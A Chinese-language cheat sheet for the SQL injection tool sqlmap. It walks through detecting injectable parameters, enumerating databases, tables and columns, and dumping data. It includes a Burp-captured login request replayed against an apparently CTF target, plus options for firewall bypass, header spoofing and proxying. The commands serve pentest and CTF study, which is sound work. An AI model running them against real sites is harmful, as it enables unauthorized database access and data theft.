1. 查询是否存在注入点
sqlmap -u "http://www.xx.com?id=x"
2. 检测站点包含哪些数据库
--dbs
3.获取当前的数据库名
--current-db
4.获取指定数据库中的表名 -D后接指定的数据库名称
--tables -D "db_name"
5.获取数据库表中的字段
--columns -T "table_name" -D "db_name"
6.获取字段的数据内容
--dump -C "columns_name" -T "table_name" -D "db_name"
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
sqlmap -r okay.txt -p username
//获取所有数据库
python sqlmap.py -r okay.txt --dbs
//获取skctf_flag 下的所有的表
python sqlmap.py -r okay.txt -D skctf_flag --tables
// 获取fl4g 所有的列
python sqlmap.py -r okay.txt -D skctf_flag -T fl4g --columns
python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump
//获取列skctf_flag的内容
(7)自动获取表单:--forms自动获取表单
sqlmap -u www.xx.com/login.asp --forms
(8)指定参数搜索:--data
sqlmap -u www.xx.com/login.asp --data "username=1"
1. --purge // 重新扫描(--purge 删除原先对该目标扫描的记录)
2. --tables // 获取表名
3. --dbs // 检测站点包含哪些数据库
4. --current-db // 获取当前的数据库名
5. --current-user // 测当前用户
6. --is-dba // 判断站点的当前用户是否为数据库管理员
7. --batch // 默认确认,不询问你是否输入
8. --search // 后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
9. --threads 10 // 线程,sqlmap线程最高设置为10
10. --level 3 // sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11. --risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
12. -v // 详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
13. --privileges // 查看权限
14. --tamper xx.py,cc.py // 防火墙绕过,后接tamper库中的py文件
15. --method "POST" --data "page=1&id=2" // POST方式提交数据
16. --threads number // 采用多线程 后接线程数
17. --referer "" // 使用referer欺骗
18. --user-agent "" // 自定义user-agent
19. --proxy “目标地址″ // 使用代理注入
1. 添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt
2. 存放扫描记录的目录在/root/.sqlmap/output‘’